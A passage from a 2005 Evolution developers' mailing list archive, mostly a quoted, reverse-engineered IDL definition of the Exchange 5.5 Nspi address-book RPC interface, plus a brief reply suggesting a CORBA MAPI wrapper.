PR_OBJECTID 0xfffd0003 > #define PR_DISPLAY_NAME 0x3001001e > #define PT_CONTAINER_FLAGS 0x36000003 /* PCF_ISCONTAINER | PCF_HASCHILDCONTAINER */ > #define PR_DEPTH 0x30050003 > #define PR_PARENTENTRYID 0xfffc0102 > > typedef unsigned short WCHAR; > > typedef struct { > long element_1; > long element_2; > long element_3; > long element_4; > long element_5; > long element_6; > long element_7; > long element_8; > long element_9; > } EMS_MAPI_UNIDENTIFIED; > > typedef struct { > char ab[16]; > } MAPIUID; > > typedef [context_handle] void *emsabp_hnd_t; > > long NspiBind( > [in] handle_t element_11, > [in] long element_12, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_13, > [in,out, unique] MAPIUID *element_14, > [out] emsabp_hnd_t *element_15 > ); > > long NspiUnbind( > [in,out] emsabp_hnd_t *element_16, > [in] long element_17 > ); > > long NspiUpdateStat( > [in] emsabp_hnd_t element_18, > [in] long element_19, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_20, > [in,out, unique] long *element_21 > ); > > /* typedef [ptr, string] unsigned long *EMS_SPropTagArray;*/ > > /* this is probably an SPropTagArray. although it doesn't match > * up with the definition in wine/includes/mapidefs.h, it also > * is the data structure i've had the most difficulty with, matching > * it to on-wire format. > */ > typedef struct { > [unique, length_is(cValues), size_is(cValues)] long *aulPropTag; > long cValues; > /*long element_24;*/ > } EMS_SPropTagArray; > > typedef [unique] EMS_SPropTagArray *EMS_LPSPropTagArray ; > > typedef struct { > long cb; > [size_is(cb), ptr] char *lpb; > } EMS_SBinary; > > typedef struct { > long dwLowDateTime; > long dwHighDateTime; > } EMS_FILETIME; > > typedef struct { > long cValues; > [size_is(cValues), ptr] short *lpi; > } EMS_SShortArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpl; > } EMS_MULTIVALUE_LONG_STRUCT; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lppszA; /* this doesn't look right: should be a LPSTR */ > } EMS_SLPSTRArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] EMS_SBinary *lpbin; > } EMS_SBinaryArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpguid; /* this doesn't look right: it should be a GUID* */ > } EMS_SGuidArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpi; /* this doesn't look right: it should be a LPWSTR* */ > } EMS_MULTIVALUE_UNICODE_STRUCT; > > typedef struct { > long cValues; > [size_is(cValues), ptr] EMS_FILETIME *lpft; > } EMS_SDateTimeArray; > > typedef [ptr, string] unsigned short *WSTRING; > typedef [ptr, string] char *STRING; > > #define PT_UNSPECIFIED 0x0000 > #define PT_NULL 0x0001 > #define PT_I2 0002 > #define PT_LONG 0003 > #define PT_R4 0004 > #define PT_DOUBLE 0x0005 > #define PT_CURRENCY 0x0006 > #define PT_APPTIME 0x0007 > /*#define PT_CLSID 0x0008 */ > #define PT_ERROR 0x000a > /* > means in a response package, that the given attribute contains no value, > or not exists. > -> So it won't be contained in the enumeration of the attrib. values array. > */ > #define PT_BOOLEAN 0x000b > #define PT_OBJECT 0x000d > #define PT_I8 0x0014 > #define PT_STRING8 0x001e > #define PT_UNICODE 0x001f > #define PT_SYSTIME 0x0040 > #define PT_CLSID 0x0048 > #define PT_BINARY 0x0102 /*(the corresponding ???HDR entry is 4 bytes longer in this case!) 1??? */ > > /* MV means MultiValued*/ > #define PT_MV_I2 0x1002 > #define PT_MV_LONG 0x1003 > #define PT_MV_R4 0x1004 > #define PT_MV_DOUBLE 0x1005 > #define PT_MV_CURRENCY 0x1006 > #define PT_MV_APPTIME 0x1007 > #define PT_MV_I8 0x1014 > #define PT_MV_STRING8 0x101e > #define PT_MV_TSTRING 0x101e > #define PT_MV_UNICODE 0x101f > #define PT_MV_SYSTIME 0x1040 > #define PT_MV_CLSID 0x1048 > #define PT_MV_BINARY 0x1102 > > typedef [switch_type(long)] union { > [case(PT_I2)] short i; > [case(PT_LONG)] long l; > [case(PT_BOOLEAN)] short b; > [case(PT_STRING8)] STRING lpszA; > [case(PT_BINARY)] EMS_SBinary bin; > [case(PT_UNICODE)] WSTRING lpszW; > [case(PT_CLSID), ptr] MAPIUID *lpguid; > [case(PT_SYSTIME)] EMS_FILETIME ft; > [case(PT_ERROR)] long err; > [case(PT_MV_I2)] EMS_SShortArray MVi; > [case(PT_MV_LONG)] EMS_MULTIVALUE_LONG_STRUCT MVl; > [case(PT_MV_STRING8)] EMS_SLPSTRArray MVszA; > [case(PT_MV_BINARY)] EMS_SBinaryArray MVbin; > [case(PT_MV_CLSID)] EMS_SGuidArray MVguid; > [case(PT_MV_UNICODE)] EMS_MULTIVALUE_UNICODE_STRUCT MVszW; > [case(PT_MV_SYSTIME)] EMS_SDateTimeArray MVft; > [case(PT_NULL)] long null; > [case(PT_OBJECT)] long object; > } EMS_SPropValue_CTR; > > typedef struct { > long ulPropTag; > long dwAlignPad; > [switch_is(ulPropTag)] EMS_SPropValue_CTR Value; > } EMS_SPropValue; > > typedef struct { > long ulAdrEntryPad; > long cValues; > [size_is(cValues), unique] EMS_SPropValue *lpProps; > } EMS_SRow; > > typedef [unique] EMS_SRow *EMS_SRow_PTR ; > > typedef struct { > long cRows; > [size_is(cRows)] EMS_SRow aRow[*]; > } EMS_SRowSet; > > typedef [unique] EMS_SRowSet *EMS_SRowSet_PTR ; > > long NspiQueryRows( > [in] emsabp_hnd_t element_69, > [in] long element_70, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_71, > [in] long lRows, > [in, size_is(lRows), unique] long *element_73, > [in] long element_74, > [in, ref] EMS_SPropTagArray *element_75, > [out, ref] EMS_SRowSet_PTR *element_76 > ); > > long NspiSeekEntries( > [in] emsabp_hnd_t element_77, > [in] long element_78, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_79, > [in, ref] EMS_SPropValue *element_80, > [in, unique] EMS_SPropTagArray *element_81, > [in, unique] EMS_SPropTagArray *element_82, > [out, ref] EMS_SRowSet_PTR *element_83 > ); > > typedef [ptr] struct _SRestriction *LPSRestriction; > > typedef struct { > long cRes; > [size_is(cRes)] LPSRestriction lpRes; > } EMS_SAndRestriction; > > typedef struct { > long cRes; > [size_is(cRes)] LPSRestriction lpRes; > } EMS_SOrRestriction; > > typedef struct { > /* ULONG ulReserved - perhaps an [ignore] property on this one? */ > LPSRestriction lpRes; > } EMS_SNotRestriction; > > typedef struct { > long ulFuzzyLevel; > long ulPropTag; > [ptr] EMS_SPropValue *lpProp; > } EMS_SContentRestriction; > > typedef struct { > long relop; > long ulPropTag; > [ptr] EMS_SPropValue *lpProp; > } EMS_SPropertyRestriction; > > typedef struct { > long ulReserved1; > long ulPropTag; > long ulReserved2; > } EMS_SExistRestriction; > > typedef struct { > long relop; > long ulPropTag; > long cb; > } EMS_SSizeRestriction; > > typedef struct { > long relBMR; > long ulPropTag; > long ulMask; > } EMS_SBitMaskRestriction; > > typedef struct { > long relop; > long ulPropTag1; > long ulPropTag2; > } EMS_SComparePropsRestriction; > > typedef struct { > long ulSubObject; > LPSRestriction lpRes; > } EMS_SSubRestriction; > > typedef struct { > [unique] MAPIUID *lpguid; > long ulKind; > long lID; /* this is actually a union in mapidefs.h */ > } EMS_MAPINAMEID; > > /* Restriction types */ > #define RES_AND 0U > #define RES_OR 1U > #define RES_NOT 2U > #define RES_CONTENT 3U > #define RES_PROPERTY 4U > #define RES_COMPAREPROPS 5U > #define RES_BITMASK 6U > #define RES_SIZE 7U > #define RES_EXIST 8U > #define RES_SUBRESTRICTION 9U > #define RES_COMMENT 10U > > typedef [switch_type(long)] union { > [case(RES_AND) ] EMS_SAndRestriction resAnd; > [case(RES_OR) ] EMS_SOrRestriction resOr; > [case(RES_NOT) ] EMS_SNotRestriction resNot; > [case(RES_CONTENT) ] EMS_SContentRestriction resContent; > [case(RES_PROPERTY) ] EMS_SPropertyRestriction resProperty; > [case(RES_COMPAREPROPS) ] EMS_SComparePropsRestriction resCompareProps; > [case(RES_BITMASK) ] EMS_SBitMaskRestriction resBitMask; > [case(RES_SUBRESTRICTION)] EMS_SSubRestriction resSub; > [case(RES_SIZE) ] EMS_SSizeRestriction resSize; > [case(RES_EXIST) ] EMS_SExistRestriction resExist; > /* case SCommentRestriction is missing! */ > } EMS_SRestriction_CTR; > > typedef struct _SRestriction { > long rt; > [switch_is(rt)] EMS_SRestriction_CTR res; > } EMS_SRestriction; > > long NspiGetMatches( > [in] emsabp_hnd_t element_110, > [in] long element_111, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_112, > [in, unique] EMS_SPropTagArray *element_113, > [in] long element_114, > [in, unique] EMS_SRestriction *element_115, > [in, unique] EMS_MAPINAMEID *element_116, > [in] long element_117, > [out, ref] EMS_SPropTagArray *element_118, > [in, ref] EMS_SPropTagArray *element_119, > [out, ref] EMS_SRowSet_PTR *element_120 > ); > > long NspiResortRestriction( > [in] emsabp_hnd_t element_121, > [in] long element_122, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_123, > [in, ref] EMS_SPropTagArray *element_124, > [in,out, ref] EMS_LPSPropTagArray *element_125 > ); > > typedef struct { > long element_126; > [unique, string] char *element_127; > } EMS_NAME_STRING; > > long NspiDNToEph( > [in] emsabp_hnd_t element_128, > [in] long element_129, > [in, ref] EMS_NAME_STRING *element_130, > [out, ref] EMS_SPropTagArray *element_131 > ); > > long NspiGetPropList( > [in] emsabp_hnd_t element_132, > [in] long element_133, > [in] long element_134, > [in] long element_135, > [out, ref] EMS_LPSPropTagArray *element_136 > ); > > long NspiGetProps( > [in] emsabp_hnd_t element_137, > [in] long element_138, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_139, > [in, unique] EMS_SPropTagArray *element_140, > [out, ref] EMS_SRow_PTR *element_141 > ); > > long NspiCompareDNTs( > [in] emsabp_hnd_t element_142, > [in] long element_143, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_144, > [in] long element_145, > [in] long element_146, > [out, ref] long *element_147 > ); > > long NspiModProps( > [in] emsabp_hnd_t element_148, > [in] long element_149, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_150, > [in, unique] EMS_SPropTagArray *element_151, > [in, ref] EMS_SRow *element_152 > ); > > long NspiGetHierarchyInfo( > [in] emsabp_hnd_t element_153, > [in] long element_154, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_155, > [in,out, ref] long *element_156, > [out, ref] EMS_SRowSet_PTR *element_157 > ); > > long NspiGetTemplateInfo( > [in] emsabp_hnd_t element_158, > [in] long element_159, > [in] long element_160, > [in, unique, string] char *element_161, > [in] long element_162, > [in] long element_163, > [out, ref] EMS_SRow_PTR *element_164 > ); > > long NspiModLInkAtt( > [in] emsabp_hnd_t element_165, > [in] long element_166, > [in] long element_167, > [in] long element_168, > [in, ref] EMS_SBinaryArray *element_169 > ); > > long NspiDeleteEntries( > [in] emsabp_hnd_t element_170, > [in] long element_171, > [in] long element_172, > [in, ref] EMS_SBinaryArray *element_173 > ); > > long NspiQueryColumns( > [in] emsabp_hnd_t element_174, > [in] long element_175, > [in] long element_176, > [out, ref] EMS_LPSPropTagArray *element_177 > ); > > typedef struct { > long element_178; > [unique] MAPIUID *element_179; > } EMS_NAME_CLSID; > > typedef [ptr] EMS_NAME_CLSID *EMS_NAME_CLSID_PTR; > > long NspiGetNamesFromIDs( > [in] emsabp_hnd_t element_180, > [in] long element_181, > [in, unique] MAPIUID *element_182, > [in, unique] EMS_SPropTagArray *element_183, > [out, ref] EMS_LPSPropTagArray *element_184, > [out, ref] EMS_NAME_CLSID_PTR *element_185 > ); > > long NspiGetIDsFromNames( > [in] emsabp_hnd_t element_186, > [in] long element_187, > [in] long element_188, > [in] long element_189, > [in, size_is(element_189), ref] long *element_190, > [out, ref] EMS_LPSPropTagArray *element_191 > ); > > long NspiResolveNames( > [in] emsabp_hnd_t element_192, > [in] long element_193, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_194, > [in, unique] EMS_SPropTagArray *element_195, > [in, ref] EMS_NAME_STRING *element_196, > [out, ref] EMS_LPSPropTagArray *element_197, > [out, ref] EMS_SRowSet_PTR *element_198 > ); > > typedef struct { > long element_199; > [unique, string] WCHAR *element_200; > } EMS_NAME_UNICODE; > > long NspiResolveNamesW( > [in] emsabp_hnd_t element_201, > [in] long element_202, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_203, > [in, unique] EMS_SPropTagArray *element_204, > [in, ref] EMS_NAME_UNICODE *element_205, > [out, ref] EMS_LPSPropTagArray *element_206, > [out, ref] EMS_SRowSet_PTR *element_207 > ); > > } > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers > From colding@omesc.com Tue Feb 1 13:59:02 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B4518124A2E; Tue, 1 Feb 2005 13:59:00 -0500 (EST) Received: from pfepb.post.tele.dk (pfepb.post.tele.dk [195.41.46.236]) by lists.ximian.com (Postfix) with ESMTP id 7D58A124A96 for ; Tue, 1 Feb 2005 13:58:47 -0500 (EST) Received: from thor (0x503e4cbe.odnxx2.adsl-dhcp.tele.dk [80.62.76.190]) by pfepb.post.tele.dk (Postfix) with ESMTP id 593DD5EE02B; Tue, 1 Feb 2005 19:58:18 +0100 (CET) Subject: Re: [Evolution-hackers] Exchange 5.5 - network reverse engineering underway (MAPI, Nspi) From: Jules Colding To: Luke Kenneth Casson Leighton Cc: Evolution Hackers In-Reply-To: <20050201150641.GV5707@lkcl.net> References: <20050201150641.GV5707@lkcl.net> Content-Type: text/plain Organization: OMC Denmark ApS Date: Tue, 01 Feb 2005 19:58:18 +0100 Message-Id: <1107284298.6737.6.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Hi, Why dont you use MAPI directly in Evolution? Well not MAPI itself, but the CORBA wrapper for MAPI (www.omesc.com). -- jules On Tue, 2005-02-01 at 15:06 +0000, Luke Kenneth Casson Leighton wrote: > hi, > > i've begun the network-reverse-engineering necessary to interoperating > with Exchange 5.5 and Outlook. > > i have a basic test client and a basic server which is able to return > hard coded data structures. > > the key difference between the present attempt and all previous ones is > that i have started from FreeDCE not from decoding MSRPC on-wire, so i > have a 99.5% IDL file (2 actually) which define the interfaces. FreeDCE > turns that into c code, and it's a matter of filling in the blanks. > > unfortunately there are a lot of blanks. _fortunately_, the data > structures of emsabp.idl (the Nspi interface) are IDENTICAL to those > used in mapidefs.h - see Wine's include/windows/mapidefs.h > > anybody interested in helping out please contact me. > > in particular, help with tying in MAPI which is actually MS-TNEF which > is winmail.dat which is therefore directly relevant to evolution, > much appreciated. > > l. > > -- > -- > http://lkcl.net > -- > > [ uuid(f5cc5a18-4264-101a-8c59-08002b2f8426), > version(56.0), > implicit_handle(handle_t rpc_binding) > ] interface emsabp > { > > /* this is mostly identical to wine/include/mapidefs.h, > * up until MAPIERROR, at which point it looks completely > * unfamiliar and alien. > * > * the functions in the IMAPITable only look _vaguely_ > * familiar but are like, utterly different. > * really odd. same data structures. different functions. > * oh well. > */ > > #define PR_ENTRYID 0x0fff0102 > #define PR_OBJECTID 0xfffd0003 > #define PR_DISPLAY_NAME 0x3001001e > #define PT_CONTAINER_FLAGS 0x36000003 /* PCF_ISCONTAINER | PCF_HASCHILDCONTAINER */ > #define PR_DEPTH 0x30050003 > #define PR_PARENTENTRYID 0xfffc0102 > > typedef unsigned short WCHAR; > > typedef struct { > long element_1; > long element_2; > long element_3; > long element_4; > long element_5; > long element_6; > long element_7; > long element_8; > long element_9; > } EMS_MAPI_UNIDENTIFIED; > > typedef struct { > char ab[16]; > } MAPIUID; > > typedef [context_handle] void *emsabp_hnd_t; > > long NspiBind( > [in] handle_t element_11, > [in] long element_12, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_13, > [in,out, unique] MAPIUID *element_14, > [out] emsabp_hnd_t *element_15 > ); > > long NspiUnbind( > [in,out] emsabp_hnd_t *element_16, > [in] long element_17 > ); > > long NspiUpdateStat( > [in] emsabp_hnd_t element_18, > [in] long element_19, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_20, > [in,out, unique] long *element_21 > ); > > /* typedef [ptr, string] unsigned long *EMS_SPropTagArray;*/ > > /* this is probably an SPropTagArray. although it doesn't match > * up with the definition in wine/includes/mapidefs.h, it also > * is the data structure i've had the most difficulty with, matching > * it to on-wire format. > */ > typedef struct { > [unique, length_is(cValues), size_is(cValues)] long *aulPropTag; > long cValues; > /*long element_24;*/ > } EMS_SPropTagArray; > > typedef [unique] EMS_SPropTagArray *EMS_LPSPropTagArray ; > > typedef struct { > long cb; > [size_is(cb), ptr] char *lpb; > } EMS_SBinary; > > typedef struct { > long dwLowDateTime; > long dwHighDateTime; > } EMS_FILETIME; > > typedef struct { > long cValues; > [size_is(cValues), ptr] short *lpi; > } EMS_SShortArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpl; > } EMS_MULTIVALUE_LONG_STRUCT; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lppszA; /* this doesn't look right: should be a LPSTR */ > } EMS_SLPSTRArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] EMS_SBinary *lpbin; > } EMS_SBinaryArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpguid; /* this doesn't look right: it should be a GUID* */ > } EMS_SGuidArray; > > typedef struct { > long cValues; > [size_is(cValues), ptr] long *lpi; /* this doesn't look right: it should be a LPWSTR* */ > } EMS_MULTIVALUE_UNICODE_STRUCT; > > typedef struct { > long cValues; > [size_is(cValues), ptr] EMS_FILETIME *lpft; > } EMS_SDateTimeArray; > > typedef [ptr, string] unsigned short *WSTRING; > typedef [ptr, string] char *STRING; > > #define PT_UNSPECIFIED 0x0000 > #define PT_NULL 0x0001 > #define PT_I2 0002 > #define PT_LONG 0003 > #define PT_R4 0004 > #define PT_DOUBLE 0x0005 > #define PT_CURRENCY 0x0006 > #define PT_APPTIME 0x0007 > /*#define PT_CLSID 0x0008 */ > #define PT_ERROR 0x000a > /* > means in a response package, that the given attribute contains no value, > or not exists. > -> So it won't be contained in the enumeration of the attrib. values array. > */ > #define PT_BOOLEAN 0x000b > #define PT_OBJECT 0x000d > #define PT_I8 0x0014 > #define PT_STRING8 0x001e > #define PT_UNICODE 0x001f > #define PT_SYSTIME 0x0040 > #define PT_CLSID 0x0048 > #define PT_BINARY 0x0102 /*(the corresponding ???HDR entry is 4 bytes longer in this case!) 1??? */ > > /* MV means MultiValued*/ > #define PT_MV_I2 0x1002 > #define PT_MV_LONG 0x1003 > #define PT_MV_R4 0x1004 > #define PT_MV_DOUBLE 0x1005 > #define PT_MV_CURRENCY 0x1006 > #define PT_MV_APPTIME 0x1007 > #define PT_MV_I8 0x1014 > #define PT_MV_STRING8 0x101e > #define PT_MV_TSTRING 0x101e > #define PT_MV_UNICODE 0x101f > #define PT_MV_SYSTIME 0x1040 > #define PT_MV_CLSID 0x1048 > #define PT_MV_BINARY 0x1102 > > typedef [switch_type(long)] union { > [case(PT_I2)] short i; > [case(PT_LONG)] long l; > [case(PT_BOOLEAN)] short b; > [case(PT_STRING8)] STRING lpszA; > [case(PT_BINARY)] EMS_SBinary bin; > [case(PT_UNICODE)] WSTRING lpszW; > [case(PT_CLSID), ptr] MAPIUID *lpguid; > [case(PT_SYSTIME)] EMS_FILETIME ft; > [case(PT_ERROR)] long err; > [case(PT_MV_I2)] EMS_SShortArray MVi; > [case(PT_MV_LONG)] EMS_MULTIVALUE_LONG_STRUCT MVl; > [case(PT_MV_STRING8)] EMS_SLPSTRArray MVszA; > [case(PT_MV_BINARY)] EMS_SBinaryArray MVbin; > [case(PT_MV_CLSID)] EMS_SGuidArray MVguid; > [case(PT_MV_UNICODE)] EMS_MULTIVALUE_UNICODE_STRUCT MVszW; > [case(PT_MV_SYSTIME)] EMS_SDateTimeArray MVft; > [case(PT_NULL)] long null; > [case(PT_OBJECT)] long object; > } EMS_SPropValue_CTR; > > typedef struct { > long ulPropTag; > long dwAlignPad; > [switch_is(ulPropTag)] EMS_SPropValue_CTR Value; > } EMS_SPropValue; > > typedef struct { > long ulAdrEntryPad; > long cValues; > [size_is(cValues), unique] EMS_SPropValue *lpProps; > } EMS_SRow; > > typedef [unique] EMS_SRow *EMS_SRow_PTR ; > > typedef struct { > long cRows; > [size_is(cRows)] EMS_SRow aRow[*]; > } EMS_SRowSet; > > typedef [unique] EMS_SRowSet *EMS_SRowSet_PTR ; > > long NspiQueryRows( > [in] emsabp_hnd_t element_69, > [in] long element_70, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_71, > [in] long lRows, > [in, size_is(lRows), unique] long *element_73, > [in] long element_74, > [in, ref] EMS_SPropTagArray *element_75, > [out, ref] EMS_SRowSet_PTR *element_76 > ); > > long NspiSeekEntries( > [in] emsabp_hnd_t element_77, > [in] long element_78, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_79, > [in, ref] EMS_SPropValue *element_80, > [in, unique] EMS_SPropTagArray *element_81, > [in, unique] EMS_SPropTagArray *element_82, > [out, ref] EMS_SRowSet_PTR *element_83 > ); > > typedef [ptr] struct _SRestriction *LPSRestriction; > > typedef struct { > long cRes; > [size_is(cRes)] LPSRestriction lpRes; > } EMS_SAndRestriction; > > typedef struct { > long cRes; > [size_is(cRes)] LPSRestriction lpRes; > } EMS_SOrRestriction; > > typedef struct { > /* ULONG ulReserved - perhaps an [ignore] property on this one? */ > LPSRestriction lpRes; > } EMS_SNotRestriction; > > typedef struct { > long ulFuzzyLevel; > long ulPropTag; > [ptr] EMS_SPropValue *lpProp; > } EMS_SContentRestriction; > > typedef struct { > long relop; > long ulPropTag; > [ptr] EMS_SPropValue *lpProp; > } EMS_SPropertyRestriction; > > typedef struct { > long ulReserved1; > long ulPropTag; > long ulReserved2; > } EMS_SExistRestriction; > > typedef struct { > long relop; > long ulPropTag; > long cb; > } EMS_SSizeRestriction; > > typedef struct { > long relBMR; > long ulPropTag; > long ulMask; > } EMS_SBitMaskRestriction; > > typedef struct { > long relop; > long ulPropTag1; > long ulPropTag2; > } EMS_SComparePropsRestriction; > > typedef struct { > long ulSubObject; > LPSRestriction lpRes; > } EMS_SSubRestriction; > > typedef struct { > [unique] MAPIUID *lpguid; > long ulKind; > long lID; /* this is actually a union in mapidefs.h */ > } EMS_MAPINAMEID; > > /* Restriction types */ > #define RES_AND 0U > #define RES_OR 1U > #define RES_NOT 2U > #define RES_CONTENT 3U > #define RES_PROPERTY 4U > #define RES_COMPAREPROPS 5U > #define RES_BITMASK 6U > #define RES_SIZE 7U > #define RES_EXIST 8U > #define RES_SUBRESTRICTION 9U > #define RES_COMMENT 10U > > > typedef [switch_type(long)] union { > [case(RES_AND) ] EMS_SAndRestriction resAnd; > [case(RES_OR) ] EMS_SOrRestriction resOr; > [case(RES_NOT) ] EMS_SNotRestriction resNot; > [case(RES_CONTENT) ] EMS_SContentRestriction resContent; > [case(RES_PROPERTY) ] EMS_SPropertyRestriction resProperty; > [case(RES_COMPAREPROPS) ] EMS_SComparePropsRestriction resCompareProps; > [case(RES_BITMASK) ] EMS_SBitMaskRestriction resBitMask; > [case(RES_SUBRESTRICTION)] EMS_SSubRestriction resSub; > [case(RES_SIZE) ] EMS_SSizeRestriction resSize; > [case(RES_EXIST) ] EMS_SExistRestriction resExist; > /* case SCommentRestriction is missing! */ > } EMS_SRestriction_CTR; > > typedef struct _SRestriction { > long rt; > [switch_is(rt)] EMS_SRestriction_CTR res; > } EMS_SRestriction; > > long NspiGetMatches( > [in] emsabp_hnd_t element_110, > [in] long element_111, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_112, > [in, unique] EMS_SPropTagArray *element_113, > [in] long element_114, > [in, unique] EMS_SRestriction *element_115, > [in, unique] EMS_MAPINAMEID *element_116, > [in] long element_117, > [out, ref] EMS_SPropTagArray *element_118, > [in, ref] EMS_SPropTagArray *element_119, > [out, ref] EMS_SRowSet_PTR *element_120 > ); > > long NspiResortRestriction( > [in] emsabp_hnd_t element_121, > [in] long element_122, > [in,out, ref] EMS_MAPI_UNIDENTIFIED *element_123, > [in, ref] EMS_SPropTagArray *element_124, > [in,out, ref] EMS_LPSPropTagArray *element_125 > ); > > typedef struct { > long element_126; > [unique, string] char *element_127; > } EMS_NAME_STRING; > > long NspiDNToEph( > [in] emsabp_hnd_t element_128, > [in] long element_129, > [in, ref] EMS_NAME_STRING *element_130, > [out, ref] EMS_SPropTagArray *element_131 > ); > > long NspiGetPropList( > [in] emsabp_hnd_t element_132, > [in] long element_133, > [in] long element_134, > [in] long element_135, > [out, ref] EMS_LPSPropTagArray *element_136 > ); > > long NspiGetProps( > [in] emsabp_hnd_t element_137, > [in] long element_138, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_139, > [in, unique] EMS_SPropTagArray *element_140, > [out, ref] EMS_SRow_PTR *element_141 > ); > > long NspiCompareDNTs( > [in] emsabp_hnd_t element_142, > [in] long element_143, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_144, > [in] long element_145, > [in] long element_146, > [out, ref] long *element_147 > ); > > long NspiModProps( > [in] emsabp_hnd_t element_148, > [in] long element_149, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_150, > [in, unique] EMS_SPropTagArray *element_151, > [in, ref] EMS_SRow *element_152 > ); > > long NspiGetHierarchyInfo( > [in] emsabp_hnd_t element_153, > [in] long element_154, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_155, > [in,out, ref] long *element_156, > [out, ref] EMS_SRowSet_PTR *element_157 > ); > > long NspiGetTemplateInfo( > [in] emsabp_hnd_t element_158, > [in] long element_159, > [in] long element_160, > [in, unique, string] char *element_161, > [in] long element_162, > [in] long element_163, > [out, ref] EMS_SRow_PTR *element_164 > ); > > long NspiModLInkAtt( > [in] emsabp_hnd_t element_165, > [in] long element_166, > [in] long element_167, > [in] long element_168, > [in, ref] EMS_SBinaryArray *element_169 > ); > > long NspiDeleteEntries( > [in] emsabp_hnd_t element_170, > [in] long element_171, > [in] long element_172, > [in, ref] EMS_SBinaryArray *element_173 > ); > > long NspiQueryColumns( > [in] emsabp_hnd_t element_174, > [in] long element_175, > [in] long element_176, > [out, ref] EMS_LPSPropTagArray *element_177 > ); > > typedef struct { > long element_178; > [unique] MAPIUID *element_179; > } EMS_NAME_CLSID; > > typedef [ptr] EMS_NAME_CLSID *EMS_NAME_CLSID_PTR; > > long NspiGetNamesFromIDs( > [in] emsabp_hnd_t element_180, > [in] long element_181, > [in, unique] MAPIUID *element_182, > [in, unique] EMS_SPropTagArray *element_183, > [out, ref] EMS_LPSPropTagArray *element_184, > [out, ref] EMS_NAME_CLSID_PTR *element_185 > ); > > long NspiGetIDsFromNames( > [in] emsabp_hnd_t element_186, > [in] long element_187, > [in] long element_188, > [in] long element_189, > [in, size_is(element_189), ref] long *element_190, > [out, ref] EMS_LPSPropTagArray *element_191 > ); > > long NspiResolveNames( > [in] emsabp_hnd_t element_192, > [in] long element_193, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_194, > [in, unique] EMS_SPropTagArray *element_195, > [in, ref] EMS_NAME_STRING *element_196, > [out, ref] EMS_LPSPropTagArray *element_197, > [out, ref] EMS_SRowSet_PTR *element_198 > ); > > typedef struct { > long element_199; > [unique, string] WCHAR *element_200; > } EMS_NAME_UNICODE; > > long NspiResolveNamesW( > [in] emsabp_hnd_t element_201, > [in] long element_202, > [in, ref] EMS_MAPI_UNIDENTIFIED *element_203, > [in, unique] EMS_SPropTagArray *element_204, > [in, ref] EMS_NAME_UNICODE *element_205, > [out, ref] EMS_LPSPropTagArray *element_206, > [out, ref] EMS_SRowSet_PTR *element_207 > ); > > } > > > _______________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers From hpj@ximian.com Tue Feb 1 18:24:27 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 4BCAC1240BC; Tue, 1 Feb 2005 18:24:27 -0500 (EST) Received: from bzzzt.fix.no (unity.copyleft.no [212.71.72.23]) by lists.ximian.com (Postfix) with ESMTP id 1259E124015 for ; Tue, 1 Feb 2005 18:24:24 -0500 (EST) Received: from bzzzt.fix.no ([212.71.72.20] helo=localhost) by bzzzt.fix.no with esmtp (Exim 3.33 #1) id 1Cw7NH-000CUO-00; Wed, 02 Feb 2005 00:23:59 +0100 Subject: Re: [Evolution-hackers] vcard 2.1 implementation From: Hans Petter Jansson To: Armin Bauer Cc: Sivaiah Nallagatla , JP Rosevear , evolution-hackers@lists.ximian.com In-Reply-To: <1106992008.3426.7.camel@azrael> References: <1106652534.3382.7.camel@azrael> <1106719832.4039.47.camel@bishop.rosevear.com> <1106734446.3350.16.camel@azrael> <1106813371.29650.6.camel@Gr8-Siva.hathaway> <1106992008.3426.7.camel@azrael> Content-Type: text/plain Date: Tue, 01 Feb 2005 17:24:04 -0600 Message-Id: <1107300245.8259.104.camel@envy.site> Mime-Version: 1.0 